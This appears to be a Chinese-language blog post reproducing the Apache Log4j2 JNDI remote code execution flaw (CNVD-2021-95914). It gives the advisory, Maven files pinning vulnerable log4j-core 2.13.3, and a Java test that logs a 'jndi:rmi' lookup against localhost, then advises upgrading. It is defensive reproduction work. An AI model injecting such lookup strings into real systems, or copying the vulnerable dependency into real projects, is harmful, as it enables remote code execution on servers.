log4j2高危漏洞cnvd-2021-95914复现及分析(代码片段)

lizz666 lizz666     2023-02-27     121

关键词:

漏洞描述

安全公告编号:CNTA-2021-0033

安全公告编号:CNTA-2021-0032

2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。CNVD建议受影响用户立即更新至最新版本,同时采取防范性措施避免漏洞攻击威胁。

一、漏洞情况分析

Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

CNVD对该漏洞的综合评级为“高危”。

二、漏洞影响范围

漏洞影响的产品版本包括:

Apache Log4j2 2.0 - 2.15.0-rc1

附:参考链接:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

关于Apache Log4j2存在远程代码执行漏洞的安全公告

复现代码

log4j-core.jar引入

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.lizz</groupId>
    <artifactId>parent-tester</artifactId>
    <version>1.0-SNAPSHOT</version>
    <properties>
        <skipTests>true</skipTests>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.13.3</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

或引入spring-boot-starter-log4j2,依赖的也是log4j-core.jar

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.lizz</groupId>
    <artifactId>parent-tester</artifactId>
    <version>1.0-SNAPSHOT</version>
    <properties>
        <skipTests>true</skipTests>
    </properties>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.3.4.RELEASE</version>
        <relativePath/>
    </parent>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-log4j2</artifactId>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

测试用例

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @description: LogBugTest
 * @author: lizz
 * @date: 2021/12/14 14:51
 */
public class LogBugTest 
    private static final Logger logger = LogManager.getLogger(LogBugTest.class);

    public static void main(String[] args) 
        String msg="$java:hw";
        logger.info("log ",msg);
        logger.error("$jndi:rmi://127.0.0.1:1099/xxxx");

    

输出结果:

15:43:21.900 [main] INFO  com.lizz.LogBugTest - log processors: 4, architecture: x86_64-64
2021-12-14 15:43:21,933 main WARN Error looking up JNDI resource [rmi://127.0.0.1:1099/xxxx]. 
  • $java:hw输出了服务器cpu信息
  • jndi:rmi可以远程加载外部类,使用可以执行外部想要你执行的命令,漏斗所在。
  • 标识可以执行特殊命令

修复建议

  • 如果使用spring-boot默认logger,可以发现依赖的是logback,不存在log4j2-core的漏洞,不需要修改。

  • 查看依赖树,使用了log4j2-core包,可以将log4j2-core升级为>=2.16.0即可。

apachelog4j2rce远程命令执行漏洞复现与分析(代码片段)

...f0c;国家信息安全漏洞共享平台(CNVD)收录了ApacheLog4j2远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修... 查看详情

突发!springcloud爆高危漏洞。。赶紧修复!!

...va干货及时送达SpringCloud突发漏洞大家好,我是栈长。Log4j2的核弹级漏洞刚告一段落,SpringCloudGateway又突发高危漏洞,又得折腾了。。。昨天栈长也看到了一些安全机构发布的相关漏洞通告,SpringCloud官方博客也发... 查看详情

apachelog4j2远程代码执行漏洞修复

...行漏洞,漏洞利用无需特殊配置。漏洞等级为:高危。目前受影响范围如下:ApacheLog4j2.x<2.15.0-rc2建议使用相关组件的开发者进行自查,发现存在该漏洞后及时按照以下方案进行处置:1、禁用lookup属性   1&#... 查看详情

apachelog4j2远程代码执行漏洞修复

...行漏洞,漏洞利用无需特殊配置。漏洞等级为:高危。目前受影响范围如下:ApacheLog4j2.x<2.15.0-rc2建议使用相关组件的开发者进行自查,发现存在该漏洞后及时按照以下方案进行处置:1、禁用lookup属性   1&#... 查看详情

log4j2史诗级漏洞攻击重现(代码片段)

早上来到公司,就听到安全团队的同事说log4j2有个高危漏洞起初并不是很在意,想着一个日志框架能有啥高危漏洞嘛但是仔细一看,居然是远程执行命令的漏洞,上次看到这个名字还是struts2。。。修复方法也很简... 查看详情

漏洞预警cve-2021-44228:apachelog4j2存在任意代码执行漏洞

ApacheLog4j2存在任意代码执行漏洞知柯信息安全,用心呵护您的安全!(CSDN二次通报)ApacheLog4j是Apache的一个开源项目,ApacheLog4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富... 查看详情

阿里云因发现log4j2核弹级漏洞,未及时上报,被工信部处罚。。

最近工信部也发布了《关于阿帕奇Log4j2组件重大安全漏洞的网络安全风险提示》https://www.miit.gov.cn/jgsj/waj/gzdt/art/2021/art_d0cd32999d9941209ba9358a2e62638c.html全文如下:阿帕奇(Apache)Log4j2组件是基于Java语言的开源日志框架... 查看详情

阿里云因发现log4j2核弹级漏洞,未及时上报,被工信部处罚。。

最近工信部也发布了《关于阿帕奇Log4j2组件重大安全漏洞的网络安全风险提示》https://www.miit.gov.cn/jgsj/waj/gzdt/art/2021/art_d0cd32999d9941209ba9358a2e62638c.html全文如下:阿帕奇(Apache)Log4j2组件是基于Java语言的开源日志框架... 查看详情

有高危漏洞必须得修复吗?不修复怎么样?啥算是高危漏洞

这个高危漏洞是由微软或者360判断的,一般应该修复。如果不修复可能造成系统紊乱甚至崩溃。参考技术A是的,因为及时修复漏洞可以增强电脑的安全。建议您使用腾讯电脑管家,通过工具箱中的修复漏洞功能即可。腾讯电脑... 查看详情

apachelog4j2远程代码执行高危漏洞解决方案

...闻:https://view.inews.qq.com/a/20211210A05KTY00博主其他文章Log4j2高危漏洞分析简介:ApacheLog4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了ApacheLog4j2远程代码执行漏洞。由于ApacheLog4j2某些功能... 查看详情

springboot项目解决log4j2核弹漏洞(代码片段)

SpringBoot项目解决log4j2核弹漏洞!事件情况北京时间12月9号深夜,ApacheLog4j2被曝出一个高危漏洞,攻击者通过jndi注入攻击的形式可以轻松远程执行任何代码。随后官方紧急推出了2.15.0和2.15.0-rc1新版本修复,依然未... 查看详情

如何修复 NPM 高危漏洞? (污染)

】如何修复NPM高危漏洞?(污染)【英文标题】:HowtofixNPMhighseverityvulnerabilities?(Pollution)【发布时间】:2021-06-3004:13:41【问题描述】:我想安装一些npm包,但总是遇到同样的错误“3个高危漏洞”当我按下npm审计修复时我总是这样... 查看详情

主机高危热门漏洞

远程桌面漏洞2019.5.4危险等级:高危危险表现:未经用户授权情况下,植入恶意文件,计算机被“完全控制”影响范围:绝大部分Windows操作系统官方介绍:CVE-2019-0708、CVE-2019-1181、CVE-2019-1182漏洞信息:... 查看详情

android曝出两个高危漏洞

Android系统本周曝出了两个新的高危漏洞,影响大量设备,很多设备可能永远得不到修复的机会(app开发ty300.com)。第一个漏洞是GoogleProjectZero安全团队成员MarkBrand披露的,编号CVE2016-3861,该漏洞允许攻击者执行恶意程序或本地提... 查看详情

我鮳,log4j2突发重大漏洞,我们也中招了。。(代码片段)

长话短说吧。相信大家已经被Log4j2的重大漏洞刷屏了,估计有不少小伙伴此前为了修bug已经累趴下了。很不幸,我的小老弟小二的SpringBoot项目中恰好用的就是Log4j2,版本特喵的还是2.14.1,在这次漏洞波及的版本范... 查看详情

log4j2注入漏洞(cve-2021-44228)万字深度剖析—复现步骤(攻击方法)

系列文章Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)Log4j2注入漏洞(CVE-2021-44228)万字深度剖... 查看详情

如何临时规避安全扫描的高危漏洞

信息中心对机房服务器进行安全扫描,短期内如何规避高危漏洞,在不影响线上业务的情况下通过安全扫描?问题及风险描述系统进行安全扫描,扫描出windous服务器和linux服务器皆存在高危漏洞。需要在短时间内进行修复,并且... 查看详情

宝塔漏洞xss窃取宝塔面板管理员漏洞高危

宝塔漏洞XSS窃取宝塔面板管理员漏洞高危分类专栏:网站安全网站被篡改网站被黑如何防止网站被侵入如何防止网站被黑网站安全服务如何防止网站被挂马网站安全维护网站安全防护服务网站安全问题怎么查找网站漏洞网站后门... 查看详情